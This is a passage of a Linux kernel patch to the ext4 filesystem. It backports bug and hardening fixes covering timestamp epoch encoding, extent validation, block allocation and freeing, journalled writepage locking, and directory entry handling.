EXT4_FREE_BLOCKS_NOFREE_FIRST_CLUSTER 0x0010 #define EXT4_FREE_BLOCKS_NOFREE_LAST_CLUSTER 0x0020 +#define EXT4_FREE_BLOCKS_RESERVE 0x0040 /* * Flags used by ext4_discard_partial_page_buffers @@ -727,19 +729,55 @@ struct move_extent { <= (EXT4_GOOD_OLD_INODE_SIZE + \ (einode)->i_extra_isize)) \ +/* + * We use an encoding that preserves the times for extra epoch "00": + * + * extra msb of adjust for signed + * epoch 32-bit 32-bit tv_sec to + * bits time decoded 64-bit tv_sec 64-bit tv_sec valid time range + * 0 0 1 -0x80000000..-0x00000001 0x000000000 1901-12-13..1969-12-31 + * 0 0 0 0x000000000..0x07fffffff 0x000000000 1970-01-01..2038-01-19 + * 0 1 1 0x080000000..0x0ffffffff 0x100000000 2038-01-19..2106-02-07 + * 0 1 0 0x100000000..0x17fffffff 0x100000000 2106-02-07..2174-02-25 + * 1 0 1 0x180000000..0x1ffffffff 0x200000000 2174-02-25..2242-03-16 + * 1 0 0 0x200000000..0x27fffffff 0x200000000 2242-03-16..2310-04-04 + * 1 1 1 0x280000000..0x2ffffffff 0x300000000 2310-04-04..2378-04-22 + * 1 1 0 0x300000000..0x37fffffff 0x300000000 2378-04-22..2446-05-10 + * + * Note that previous versions of the kernel on 64-bit systems would + * incorrectly use extra epoch bits 1,1 for dates between 1901 and + * 1970. e2fsck will correct this, assuming that it is run on the + * affected filesystem before 2242. + */ + static inline __le32 ext4_encode_extra_time(struct timespec *time) { - return cpu_to_le32((sizeof(time->tv_sec) > 4 ? - (time->tv_sec >> 32) & EXT4_EPOCH_MASK : 0) | - ((time->tv_nsec << EXT4_EPOCH_BITS) & EXT4_NSEC_MASK)); + u32 extra = sizeof(time->tv_sec) > 4 ? + ((time->tv_sec - (s32)time->tv_sec) >> 32) & EXT4_EPOCH_MASK : 0; + return cpu_to_le32(extra | (time->tv_nsec << EXT4_EPOCH_BITS)); } static inline void ext4_decode_extra_time(struct timespec *time, __le32 extra) { - if (sizeof(time->tv_sec) > 4) - time->tv_sec |= (__u64)(le32_to_cpu(extra) & EXT4_EPOCH_MASK) - << 32; - time->tv_nsec = (le32_to_cpu(extra) & EXT4_NSEC_MASK) >> EXT4_EPOCH_BITS; + if (unlikely(sizeof(time->tv_sec) > 4 && + (extra & cpu_to_le32(EXT4_EPOCH_MASK)))) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(4,20,0) + /* Handle legacy encoding of pre-1970 dates with epoch + * bits 1,1. We assume that by kernel version 4.20, + * everyone will have run fsck over the affected + * filesystems to correct the problem. (This + * backwards compatibility may be removed before this + * time, at the discretion of the ext4 developers.) + */ + u64 extra_bits = le32_to_cpu(extra) & EXT4_EPOCH_MASK; + if (extra_bits == 3 && ((time->tv_sec) & 0x80000000) != 0) + extra_bits = 0; + time->tv_sec += extra_bits << 32; +#else + time->tv_sec += (u64)(le32_to_cpu(extra) & EXT4_EPOCH_MASK) << 32; +#endif + } + time->tv_nsec = (le32_to_cpu(extra) & EXT4_NSEC_MASK) >> EXT4_EPOCH_BITS; } #define EXT4_INODE_SET_XTIME(xtime, inode, raw_inode) \ @@ -812,6 +850,29 @@ do { \ #include "extents_status.h" +/* + * Lock subclasses for i_data_sem in the ext4_inode_info structure. + * + * These are needed to avoid lockdep false positives when we need to + * allocate blocks to the quota inode during ext4_map_blocks(), while + * holding i_data_sem for a normal (non-quota) inode. Since we don't + * do quota tracking for the quota inode, this avoids deadlock (as + * well as infinite recursion, since it isn't turtles all the way + * down...) + * + * I_DATA_SEM_NORMAL - Used for most inodes + * I_DATA_SEM_OTHER - Used by move_inode.c for the second normal inode + * where the second inode has larger inode number + * than the first + * I_DATA_SEM_QUOTA - Used for quota inodes only + */ +enum { + I_DATA_SEM_NORMAL = 0, + I_DATA_SEM_OTHER, + I_DATA_SEM_QUOTA, +}; + + /* * fourth extended file system inode data in memory */ @@ -2088,6 +2149,7 @@ int do_journal_get_write_access(handle_t *handle, #define CONVERT_INLINE_DATA 2 extern struct inode *ext4_iget(struct super_block *, unsigned long); +extern struct inode *ext4_iget_normal(struct super_block *, unsigned long); extern int ext4_write_inode(struct inode *, struct writeback_control *); extern int ext4_setattr(struct dentry *, struct iattr *); extern int ext4_getattr(struct vfsmount *mnt, struct dentry *dentry, @@ -2260,8 +2322,8 @@ extern int ext4_register_li_request(struct super_block *sb, static inline int ext4_has_group_desc_csum(struct super_block *sb) { return EXT4_HAS_RO_COMPAT_FEATURE(sb, - EXT4_FEATURE_RO_COMPAT_GDT_CSUM | - EXT4_FEATURE_RO_COMPAT_METADATA_CSUM); + EXT4_FEATURE_RO_COMPAT_GDT_CSUM) || + (EXT4_SB(sb)->s_chksum_driver != NULL); } static inline ext4_fsblk_t ext4_blocks_count(struct ext4_super_block *es) diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 84d817b842a8f..7eea76168d335 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -361,9 +361,13 @@ static int ext4_valid_extent(struct inode *inode, struct ext4_extent *ext) ext4_fsblk_t block = ext4_ext_pblock(ext); int len = ext4_ext_get_actual_len(ext); ext4_lblk_t lblock = le32_to_cpu(ext->ee_block); - ext4_lblk_t last = lblock + len - 1; - if (lblock > last) + /* + * We allow neither: + * - zero length + * - overflow/wrap-around + */ + if (lblock + len <= lblock) return 0; return ext4_data_block_valid(EXT4_SB(inode->i_sb), block, len); } @@ -454,6 +458,10 @@ static int __ext4_ext_check(const char *function, unsigned int line, error_msg = "invalid extent entries"; goto corrupted; } + if (unlikely(depth > 32)) { + error_msg = "too large eh_depth"; + goto corrupted; + } /* Verify checksum on non-root extent tree nodes */ if (ext_depth(inode) != depth && !ext4_extent_block_csum_verify(inode, eh)) { @@ -1722,7 +1730,8 @@ static void ext4_ext_try_to_merge_up(handle_t *handle, brelse(path[1].p_bh); ext4_free_blocks(handle, inode, NULL, blk, 1, - EXT4_FREE_BLOCKS_METADATA | EXT4_FREE_BLOCKS_FORGET); + EXT4_FREE_BLOCKS_METADATA | EXT4_FREE_BLOCKS_FORGET | + EXT4_FREE_BLOCKS_RESERVE); } /* diff --git a/fs/ext4/extents_status.c b/fs/ext4/extents_status.c index e6941e622d310..1fefeb7d14dbe 100644 --- a/fs/ext4/extents_status.c +++ b/fs/ext4/extents_status.c @@ -655,6 +655,14 @@ int ext4_es_insert_extent(struct inode *inode, ext4_lblk_t lblk, BUG_ON(end < lblk); + if ((status & EXTENT_STATUS_DELAYED) && + (status & EXTENT_STATUS_WRITTEN)) { + ext4_warning(inode->i_sb, "Inserting extent [%u/%u] as " + " delayed and written which can potentially " + " cause data loss.\n", lblk, len); + WARN_ON(1); + } + newes.es_lblk = lblk; newes.es_len = len; ext4_es_store_pblock(&newes, pblk); diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 4635788e14bf8..ec9770f425381 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -100,7 +100,7 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, struct blk_plug plug; int unaligned_aio = 0; ssize_t ret; - int overwrite = 0; + int *overwrite = iocb->private; size_t length = iov_length(iov, nr_segs); if (ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS) && @@ -118,8 +118,6 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, mutex_lock(&inode->i_mutex); blk_start_plug(&plug); - iocb->private = &overwrite; - /* check whether we do a DIO overwrite or not */ if (ext4_should_dioread_nolock(inode) && !unaligned_aio && !file->f_mapping->nrpages && pos + length <= i_size_read(inode)) { @@ -143,7 +141,7 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, * So we should check these two conditions. */ if (err == len && (map.m_flags & EXT4_MAP_MAPPED)) - overwrite = 1; + *overwrite = 1; } ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); @@ -170,6 +168,7 @@ ext4_file_write(struct kiocb *iocb, const struct iovec *iov, { struct inode *inode = file_inode(iocb->ki_filp); ssize_t ret; + int overwrite = 0; /* * If we have encountered a bitmap-format file, the size limit @@ -190,6 +189,7 @@ ext4_file_write(struct kiocb *iocb, const struct iovec *iov, } } + iocb->private = &overwrite; if (unlikely(iocb->ki_filp->f_flags & O_DIRECT)) ret = ext4_file_dio_write(iocb, iov, nr_segs, pos); else diff --git a/fs/ext4/ialloc.c b/fs/ext4/ialloc.c index 1ecd3a8c2444b..00cbc648e1dca 100644 --- a/fs/ext4/ialloc.c +++ b/fs/ext4/ialloc.c @@ -793,6 +793,10 @@ struct inode *__ext4_new_inode(handle_t *handle, struct inode *dir, struct buffer_head *block_bitmap_bh; block_bitmap_bh = ext4_read_block_bitmap(sb, group); + if (!block_bitmap_bh) { + err = -EIO; + goto out; + } BUFFER_TRACE(block_bitmap_bh, "get block bitmap access"); err = ext4_journal_get_write_access(handle, block_bitmap_bh); if (err) { @@ -1023,11 +1027,13 @@ struct inode *ext4_orphan_get(struct super_block *sb, unsigned long ino) goto iget_failed; /* - * If the orphans has i_nlinks > 0 then it should be able to be - * truncated, otherwise it won't be removed from the orphan list - * during processing and an infinite loop will result. + * If the orphans has i_nlinks > 0 then it should be able to + * be truncated, otherwise it won't be removed from the orphan + * list during processing and an infinite loop will result. + * Similarly, it must not be a bad inode. */ - if (inode->i_nlink && !ext4_can_truncate(inode)) + if ((inode->i_nlink && !ext4_can_truncate(inode)) || + is_bad_inode(inode)) goto bad_orphan; if (NEXT_ORPHAN(inode) > max_ino) diff --git a/fs/ext4/indirect.c b/fs/ext4/indirect.c index 5890614696870..b07a221c31386 100644 --- a/fs/ext4/indirect.c +++ b/fs/ext4/indirect.c @@ -577,7 +577,7 @@ int ext4_ind_map_blocks(handle_t *handle, struct inode *inode, EXT4_FEATURE_RO_COMPAT_BIGALLOC)) { EXT4_ERROR_INODE(inode, "Can't allocate blocks for " "non-extent mapped inodes with bigalloc"); - return -ENOSPC; + return -EUCLEAN; } goal = ext4_find_goal(inode, map->m_lblk, partial); diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 345780436dfb6..fe9a58e803570 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -206,9 +206,9 @@ void ext4_evict_inode(struct inode *inode) * Note that directories do not have this problem because they * don't use page cache. */ - if (ext4_should_journal_data(inode) && - (S_ISLNK(inode->i_mode) || S_ISREG(inode->i_mode)) && - inode->i_ino != EXT4_JOURNAL_INO) { + if (inode->i_ino != EXT4_JOURNAL_INO && + ext4_should_journal_data(inode) && + (S_ISLNK(inode->i_mode) || S_ISREG(inode->i_mode))) { journal_t *journal = EXT4_SB(inode->i_sb)->s_journal; tid_t commit_tid = EXT4_I(inode)->i_datasync_tid; @@ -626,6 +626,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, status = map->m_flags & EXT4_MAP_UNWRITTEN ? EXTENT_STATUS_UNWRITTEN : EXTENT_STATUS_WRITTEN; if (!(flags & EXT4_GET_BLOCKS_DELALLOC_RESERVE) && + !(status & EXTENT_STATUS_WRITTEN) && ext4_find_delalloc_range(inode, map->m_lblk, map->m_lblk + map->m_len - 1)) status |= EXTENT_STATUS_DELAYED; @@ -736,6 +737,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, status = map->m_flags & EXT4_MAP_UNWRITTEN ? EXTENT_STATUS_UNWRITTEN : EXTENT_STATUS_WRITTEN; if (!(flags & EXT4_GET_BLOCKS_DELALLOC_RESERVE) && + !(status & EXTENT_STATUS_WRITTEN) && ext4_find_delalloc_range(inode, map->m_lblk, map->m_lblk + map->m_len - 1)) status |= EXTENT_STATUS_DELAYED; @@ -1410,7 +1412,7 @@ static void ext4_da_release_space(struct inode *inode, int to_free) static void ext4_da_page_release_reservation(struct page *page, unsigned long offset) { - int to_release = 0; + int to_release = 0, contiguous_blks = 0; struct buffer_head *head, *bh; unsigned int curr_off = 0; struct inode *inode = page->mapping->host; @@ -1425,14 +1427,23 @@ static void ext4_da_page_release_reservation(struct page *page, if ((offset <= curr_off) && (buffer_delay(bh))) { to_release++; + contiguous_blks++; clear_buffer_delay(bh); + } else if (contiguous_blks) { + lblk = page->index << + (PAGE_CACHE_SHIFT - inode->i_blkbits); + lblk += (curr_off >> inode->i_blkbits) - + contiguous_blks; + ext4_es_remove_extent(inode, lblk, contiguous_blks); + contiguous_blks = 0; } curr_off = next_off; } while ((bh = bh->b_this_page) != head); - if (to_release) { + if (contiguous_blks) { lblk = page->index << (PAGE_CACHE_SHIFT - inode->i_blkbits); - ext4_es_remove_extent(inode, lblk, to_release); + lblk += (curr_off >> inode->i_blkbits) - contiguous_blks; + ext4_es_remove_extent(inode, lblk, contiguous_blks); } /* If we have released all the blocks belonging to a cluster, then we @@ -2097,19 +2108,32 @@ static int __ext4_journalled_writepage(struct page *page, ext4_walk_page_buffers(handle, page_bufs, 0, len, NULL, bget_one); } - /* As soon as we unlock the page, it can go away, but we have - * references to buffers so we are safe */ + /* + * We need to release the page lock before we start the + * journal, so grab a reference so the page won't disappear + * out from under us. + */ + get_page(page); unlock_page(page); handle = ext4_journal_start(inode, EXT4_HT_WRITE_PAGE, ext4_writepage_trans_blocks(inode)); if (IS_ERR(handle)) { ret = PTR_ERR(handle); - goto out; + put_page(page); + goto out_no_pagelock; } - BUG_ON(!ext4_handle_valid(handle)); + lock_page(page); + put_page(page); + if (page->mapping != mapping) { + /* The page got truncated from under us */ + ext4_journal_stop(handle); + ret = 0; + goto out; + } + if (inline_data) { ret = ext4_journal_get_write_access(handle, inode_bh); @@ -2134,6 +2158,8 @@ static int __ext4_journalled_writepage(struct page *page, NULL, bput_one); ext4_set_inode_state(inode, EXT4_STATE_JDATA); out: + unlock_page(page); +out_no_pagelock: brelse(inode_bh); return ret; } @@ -2648,6 +2674,20 @@ static int ext4_nonda_switch(struct super_block *sb) return 0; } +/* We always reserve for an inode update; the superblock could be there too */ +static int ext4_da_write_credits(struct inode *inode, loff_t pos, unsigned len) +{ + if (likely(EXT4_HAS_RO_COMPAT_FEATURE(inode->i_sb, + EXT4_FEATURE_RO_COMPAT_LARGE_FILE))) + return 1; + + if (pos + len <= 0x7fffffffULL) + return 1; + + /* We might need to update the superblock to set LARGE_FILE */ + return 2; +} + static int ext4_da_write_begin(struct file *file, struct address_space *mapping, loff_t pos, unsigned len, unsigned flags, struct page **pagep, void **fsdata) @@ -2698,7 +2738,8 @@ static int ext4_da_write_begin(struct file *file, struct address_space *mapping, * of file which has an already mapped buffer. */ retry_journal: - handle = ext4_journal_start(inode, EXT4_HT_WRITE_PAGE, 1); + handle = ext4_journal_start(inode, EXT4_HT_WRITE_PAGE, + ext4_da_write_credits(inode, pos, len)); if (IS_ERR(handle)) { page_cache_release(page); return PTR_ERR(handle); @@ -4359,6 +4400,13 @@ struct inode *ext4_iget(struct super_block *sb, unsigned long ino) return ERR_PTR(ret); } +struct inode *ext4_iget_normal(struct super_block *sb, unsigned long ino) +{ + if (ino < EXT4_FIRST_INO(sb) && ino != EXT4_ROOT_INO) + return ERR_PTR(-EIO); + return ext4_iget(sb, ino); +} + static int ext4_inode_blocks_set(handle_t *handle, struct ext4_inode *raw_inode, struct ext4_inode_info *ei) @@ -5022,6 +5070,8 @@ int ext4_mark_inode_dirty(handle_t *handle, struct inode *inode) might_sleep(); trace_ext4_mark_inode_dirty(inode, _RET_IP_); err = ext4_reserve_inode_write(handle, inode, &iloc); + if (err) + return err; if (ext4_handle_valid(handle) && EXT4_I(inode)->i_extra_isize < sbi->s_want_extra_isize && !ext4_test_inode_state(inode, EXT4_STATE_NO_EXPAND)) { @@ -5052,9 +5102,7 @@ int ext4_mark_inode_dirty(handle_t *handle, struct inode *inode) } } } - if (!err) - err = ext4_mark_iloc_dirty(handle, inode, &iloc); - return err; + return ext4_mark_iloc_dirty(handle, inode, &iloc); } /* diff --git a/fs/ext4/ioctl.c b/fs/ext4/ioctl.c index 42624a995b00a..d4fd81c44f55c 100644 --- a/fs/ext4/ioctl.c +++ b/fs/ext4/ioctl.c @@ -549,9 +549,17 @@ long ext4_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) } case EXT4_IOC_SWAP_BOOT: + { + int err; if (!(filp->f_mode & FMODE_WRITE)) return -EBADF; - return swap_inode_boot_loader(sb, inode); + err = mnt_want_write_file(filp); + if (err) + return err; + err = swap_inode_boot_loader(sb, inode); + mnt_drop_write_file(filp); + return err; + } case EXT4_IOC_RESIZE_FS: { ext4_fsblk_t n_blocks_count; diff --git a/fs/ext4/mballoc.c b/fs/ext4/mballoc.c index 16bb6591561b3..08b4495c1b121 100644 --- a/fs/ext4/mballoc.c +++ b/fs/ext4/mballoc.c @@ -1232,6 +1232,7 @@ static void ext4_mb_unload_buddy(struct ext4_buddy *e4b) static int mb_find_order_for_block(struct ext4_buddy *e4b, int block) { int order = 1; + int bb_incr = 1 << (e4b->bd_blkbits - 1); void *bb; BUG_ON(e4b->bd_bitmap == e4b->bd_buddy); @@ -1244,7 +1245,8 @@ static int mb_find_order_for_block(struct ext4_buddy *e4b, int block) /* this block is part of buddy of order 'order' */ return order; } - bb += 1 << (e4b->bd_blkbits - order); + bb += bb_incr; + bb_incr >>= 1; order++; } return 0; @@ -1396,6 +1398,8 @@ static void mb_free_blocks(struct inode *inode, struct ext4_buddy *e4b, int last = first + count - 1; struct super_block *sb = e4b->bd_sb; + if (WARN_ON(count == 0)) + return; BUG_ON(last >= (sb->s_blocksize << 3)); assert_spin_locked(ext4_group_lock_ptr(sb, e4b->bd_group)); mb_check_buddy(e4b); @@ -2512,7 +2516,7 @@ int ext4_mb_init(struct super_block *sb) { struct ext4_sb_info *sbi = EXT4_SB(sb); unsigned i, j; - unsigned offset; + unsigned offset, offset_incr; unsigned max; int ret; @@ -2541,11 +2545,13 @@ int ext4_mb_init(struct super_block *sb) i = 1; offset = 0; + offset_incr = 1 << (sb->s_blocksize_bits - 1); max = sb->s_blocksize << 2; do { sbi->s_mb_offsets[i] = offset; sbi->s_mb_maxs[i] = max; - offset += 1 << (sb->s_blocksize_bits - i); + offset += offset_incr; + offset_incr = offset_incr >> 1; max = max >> 1; i++; } while (i <= sb->s_blocksize_bits + 1); @@ -2870,7 +2876,7 @@ ext4_mb_mark_diskspace_used(struct ext4_allocation_context *ac, ext4_error(sb, "Allocating blocks %llu-%llu which overlap " "fs metadata", block, block+len); /* File system mounted not to panic on error - * Fix the bitmap and repeat the block allocation + * Fix the bitmap and return EUCLEAN * We leak some of the blocks here. */ ext4_lock_group(sb, ac->ac_b_ex.fe_group); @@ -2879,7 +2885,7 @@ ext4_mb_mark_diskspace_used(struct ext4_allocation_context *ac, ext4_unlock_group(sb, ac->ac_b_ex.fe_group); err = ext4_handle_dirty_metadata(handle, NULL, bitmap_bh); if (!err) - err = -EAGAIN; + err = -EUCLEAN; goto out_err; } @@ -3177,8 +3183,30 @@ static void ext4_mb_collect_stats(struct ext4_allocation_context *ac) static void ext4_discard_allocated_blocks(struct ext4_allocation_context *ac) { struct ext4_prealloc_space *pa = ac->ac_pa; + struct ext4_buddy e4b; + int err; - if (pa && pa->pa_type == MB_INODE_PA) + if (pa == NULL) { + if (ac->ac_f_ex.fe_len == 0) + return; + err = ext4_mb_load_buddy(ac->ac_sb, ac->ac_f_ex.fe_group, &e4b); + if (err) { + /* + * This should never happen since we pin the + * pages in the ext4_allocation_context so + * ext4_mb_load_buddy() should never fail. + */ + WARN(1, "mb_load_buddy failed (%d)", err); + return; + } + ext4_lock_group(ac->ac_sb, ac->ac_f_ex.fe_group); + mb_free_blocks(ac->ac_inode, &e4b, ac->ac_f_ex.fe_start, + ac->ac_f_ex.fe_len); + ext4_unlock_group(ac->ac_sb, ac->ac_f_ex.fe_group); + ext4_mb_unload_buddy(&e4b); + return; + } + if (pa->pa_type == MB_INODE_PA) pa->pa_free += ac->ac_b_ex.fe_len; } @@ -4424,18 +4452,7 @@ ext4_fsblk_t ext4_mb_new_blocks(handle_t *handle, } if (likely(ac->ac_status == AC_STATUS_FOUND)) { *errp = ext4_mb_mark_diskspace_used(ac, handle, reserv_clstrs); - if (*errp == -EAGAIN) { - /* - * drop the reference that we took - * in ext4_mb_use_best_found - */ - ext4_mb_release_context(ac); - ac->ac_b_ex.fe_group = 0; - ac->ac_b_ex.fe_start = 0; - ac->ac_b_ex.fe_len = 0; - ac->ac_status = AC_STATUS_CONTINUE; - goto repeat; - } else if (*errp) { + if (*errp) { ext4_discard_allocated_blocks(ac); goto errout; } else { @@ -4586,6 +4603,7 @@ void ext4_free_blocks(handle_t *handle, struct inode *inode, struct buffer_head *gd_bh; ext4_group_t block_group; struct ext4_sb_info *sbi; + struct ext4_inode_info *ei = EXT4_I(inode); struct ext4_buddy e4b; unsigned int count_clusters; int err = 0; @@ -4739,18 +4757,12 @@ void ext4_free_blocks(handle_t *handle, struct inode *inode, /* * blocks being freed are metadata. these blocks shouldn't * be used until this transaction is committed + * + * We use __GFP_NOFAIL because ext4_free_blocks() is not allowed + * to fail. */ - retry: - new_entry = kmem_cache_alloc(ext4_free_data_cachep, GFP_NOFS); - if (!new_entry) { - /* - * We use a retry loop because - * ext4_free_blocks() is not allowed to fail. - */ - cond_resched(); - congestion_wait(BLK_RW_ASYNC, HZ/50); - goto retry; - } + new_entry = kmem_cache_alloc(ext4_free_data_cachep, + GFP_NOFS|__GFP_NOFAIL); new_entry->efd_start_cluster = bit; new_entry->efd_group = block_group; new_entry->efd_count = count_clusters; @@ -4784,7 +4796,6 @@ void ext4_free_blocks(handle_t *handle, struct inode *inode, ext4_block_bitmap_csum_set(sb, block_group, gdp, bitmap_bh); ext4_group_desc_csum_set(sb, block_group, gdp); ext4_unlock_group(sb, block_group); - percpu_counter_add(&sbi->s_freeclusters_counter, count_clusters); if (sbi->s_log_groups_per_flex) { ext4_group_t flex_group = ext4_flex_group(sbi, block_group); @@ -4792,10 +4803,23 @@ void ext4_free_blocks(handle_t *handle, struct inode *inode, &sbi->s_flex_groups[flex_group].free_clusters); } - ext4_mb_unload_buddy(&e4b); - - if (!(flags & EXT4_FREE_BLOCKS_NO_QUOT_UPDATE)) + if (flags & EXT4_FREE_BLOCKS_RESERVE && ei->i_reserved_data_blocks) { + percpu_counter_add(&sbi->s_dirtyclusters_counter, + count_clusters); + spin_lock(&ei->i_block_reservation_lock); + if (flags & EXT4_FREE_BLOCKS_METADATA) + ei->i_reserved_meta_blocks += count_clusters; + else + ei->i_reserved_data_blocks += count_clusters; + spin_unlock(&ei->i_block_reservation_lock); + if (!(flags & EXT4_FREE_BLOCKS_NO_QUOT_UPDATE)) + dquot_reclaim_block(inode, + EXT4_C2B(sbi, count_clusters)); + } else if (!(flags & EXT4_FREE_BLOCKS_NO_QUOT_UPDATE)) dquot_free_block(inode, EXT4_C2B(sbi, count_clusters)); + percpu_counter_add(&sbi->s_freeclusters_counter, count_clusters); + + ext4_mb_unload_buddy(&e4b); /* We dirtied the bitmap block */ BUFFER_TRACE(bitmap_bh, "dirtied bitmap block"); diff --git a/fs/ext4/migrate.c b/fs/ext4/migrate.c index 49e8bdff9163e..d19efab66cb63 100644 --- a/fs/ext4/migrate.c +++ b/fs/ext4/migrate.c @@ -616,6 +616,7 @@ int ext4_ind_migrate(struct inode *inode) struct ext4_inode_info *ei = EXT4_I(inode); struct ext4_extent *ex; unsigned int i, len; + ext4_lblk_t start, end; ext4_fsblk_t blk; handle_t *handle; int ret; @@ -629,6 +630,14 @@ int ext4_ind_migrate(struct inode *inode) EXT4_FEATURE_RO_COMPAT_BIGALLOC)) return -EOPNOTSUPP; + /* + * In order to get correct extent info, force all delayed allocation + * blocks to be allocated, otherwise delayed allocation blocks may not + * be reflected and bypass the checks on extent header. + */ + if (test_opt(inode->i_sb, DELALLOC)) + ext4_alloc_da_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_MIGRATE, 1); if (IS_ERR(handle)) return PTR_ERR(handle); @@ -646,11 +655,13 @@ int ext4_ind_migrate(struct inode *inode) goto errout; } if (eh->eh_entries == 0) - blk = len = 0; + blk = len = start = end = 0; else { len = le16_to_cpu(ex->ee_len); blk = ext4_ext_pblock(ex); - if (len > EXT4_NDIR_BLOCKS) { + start = le32_to_cpu(ex->ee_block); + end = start + len - 1; + if (end >= EXT4_NDIR_BLOCKS) { ret = -EOPNOTSUPP; goto errout; } @@ -658,7 +669,7 @@ int ext4_ind_migrate(struct inode *inode) ext4_clear_inode_flag(inode, EXT4_INODE_EXTENTS); memset(ei->i_data, 0, sizeof(ei->i_data)); - for (i=0; i < len; i++) + for (i = start; i <= end; i++) ei->i_data[i] = cpu_to_le32(blk++); ext4_mark_inode_dirty(handle, inode); errout: diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index 3dcbf364022fe..ad52ace2b79a8 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -154,10 +154,10 @@ ext4_double_down_write_data_sem(struct inode *first, struct inode *second) { if (first < second) { down_write(&EXT4_I(first)->i_data_sem); - down_write_nested(&EXT4_I(second)->i_data_sem, SINGLE_DEPTH_NESTING); + down_write_nested(&EXT4_I(second)->i_data_sem, I_DATA_SEM_OTHER); } else { down_write(&EXT4_I(second)->i_data_sem); - down_write_nested(&EXT4_I(first)->i_data_sem, SINGLE_DEPTH_NESTING); + down_write_nested(&EXT4_I(first)->i_data_sem, I_DATA_SEM_OTHER); } } @@ -1117,6 +1117,13 @@ mext_check_arguments(struct inode *orig_inode, return -EINVAL; } + if (IS_NOQUOTA(orig_inode) || IS_NOQUOTA(donor_inode)) { + ext4_debug("ext4 move extent: The argument files should " + "not be quota files [ino:orig %lu, donor %lu]\n", + orig_inode->i_ino, donor_inode->i_ino); + return -EBUSY; + } + /* Ext4 move extent supports only extent based file */ if (!(ext4_test_inode_flag(orig_inode, EXT4_INODE_EXTENTS))) { ext4_debug("ext4 move extent: orig file is not extents " diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c index ab2f6dc44b3ab..facf8590b7141 100644 --- a/fs/ext4/namei.c +++ b/fs/ext4/namei.c @@ -1430,7 +1430,7 @@ static struct dentry *ext4_lookup(struct inode *dir, struct dentry *dentry, unsi dentry->d_name.name); return ERR_PTR(-EIO); } - inode = ext4_iget(dir->i_sb, ino); + inode = ext4_iget_normal(dir->i_sb, ino); if (inode == ERR_PTR(-ESTALE)) { EXT4_ERROR_INODE(dir, "deleted inode referenced: %u", @@ -1461,7 +1461,7 @@ struct dentry *ext4_get_parent(struct dentry *child) return ERR_PTR(-EIO); } - return d_obtain_alias(ext4_iget(child->d_inode->i_sb, ino)); + return d_obtain_alias(ext4_iget_normal(child->d_inode->i_sb, ino)); } /* @@ -1880,7 +1880,7 @@ static int ext4_add_entry(handle_t *handle, struct dentry *dentry, struct inode *inode) { struct inode *dir = dentry->d_parent->d_inode; - struct buffer_head *bh; + struct buffer_head *bh = NULL; struct ext4_dir_entry_2 *de; struct ext4_dir_entry_tail *t; struct super_block *sb; @@ -1905,14 +1905,14 @@ static int ext4_add_entry(handle_t *handle, struct dentry *dentry, return retval; if (retval == 1) { retval = 0; - return retval; + goto out; } } if (is_dx(dir)) { retval = ext4_dx_add_entry(handle, dentry, inode); if (!retval || (retval != ERR_BAD_DX_DIR)) - return retval; + goto out; ext4_clear_inode_flag(dir, EXT4_INODE_INDEX); dx_fallback++; ext4_mark_inode_dirty(handle, dir); @@ -1924,14 +1924,15 @@ static int ext4_add_entry(handle_t *handle, struct dentry *dentry, return PTR_ERR(bh); retval = add_dirent_to_buf(handle, dentry, inode, NULL, bh); - if (retval != -ENOSPC) { - brelse(bh); - return retval; - } + if (retval != -ENOSPC) + goto out; if (blocks == 1 && !dx_fallback && - EXT4_HAS_COMPAT_FEATURE(sb, EXT4_FEATURE_COMPAT_DIR_INDEX)) - return make_indexed_dir(handle, dentry, inode, bh); + EXT4_HAS_COMPAT_FEATURE(sb, EXT4_FEATURE_COMPAT_DIR_INDEX)) { + retval = make_indexed_dir(handle, dentry, inode, bh); + bh = NULL; /* make_indexed_dir releases bh */ + goto out; + } brelse(bh); } bh = ext4_append(handle, dir, &block); @@ -1947,6 +1948,7 @@ static int ext4_add_entry(handle_t *handle, struct dentry *dentry, } retval = add_dirent_to_buf(handle, dentry, inode, de, bh); +out: brelse(bh); if (retval == 0) ext4_set_inode_state(inode, EXT4_STATE_NEWENTRY); diff --git a/fs/ext4/resize.c b/fs/ext4/resize.c index 73f340f21b528..04f7fc1a5233c 100644 --- a/fs/ext4/resize.c +++ b/fs/ext4/resize.c @@ -181,7 +181,7 @@ static struct ext4_new_flex_group_data *alloc_flex_gd(unsigned long flexbg_size) if (flex_gd == NULL) goto out3; - if (flexbg_size >= UINT_MAX / sizeof(struct ext4_new_flex_group_data)) + if (flexbg_size >= UINT_MAX / sizeof(struct ext4_new_group_data)) goto out2; flex_gd->count = flexbg_size; @@ -1025,7 +1025,7 @@ static int reserve_backup_gdb(handle_t *handle, struct inode *inode, * do not copy the full number of backups at this time. The resize * which changed s_groups_count will backup again. */ -static void update_backups(struct super_block *sb, int blk_off, char *data, +static void update_backups(struct super_block *sb, sector_t blk_off, char *data, int size, int meta_bg) { struct ext4_sb_info *sbi = EXT4_SB(sb); @@ -1050,7 +1050,7 @@ static void update_backups(struct super_block *sb, int blk_off, char *data, group = ext4_list_backups(sb, &three, &five, &seven); last = sbi->s_groups_count; } else { - group = ext4_meta_bg_first_group(sb, group) + 1; + group = ext4_get_group_number(sb, blk_off) + 1; last = (ext4_group_t)(group + EXT4_DESC_PER_BLOCK(sb) - 2); } @@ -1066,7 +1066,7 @@ static void update_backups(struct super_block *sb, int blk_off, char *data, break; if (meta_bg == 0) - backup_block = group * bpg + blk_off; + backup_block = ((ext4_fsblk_t)group) 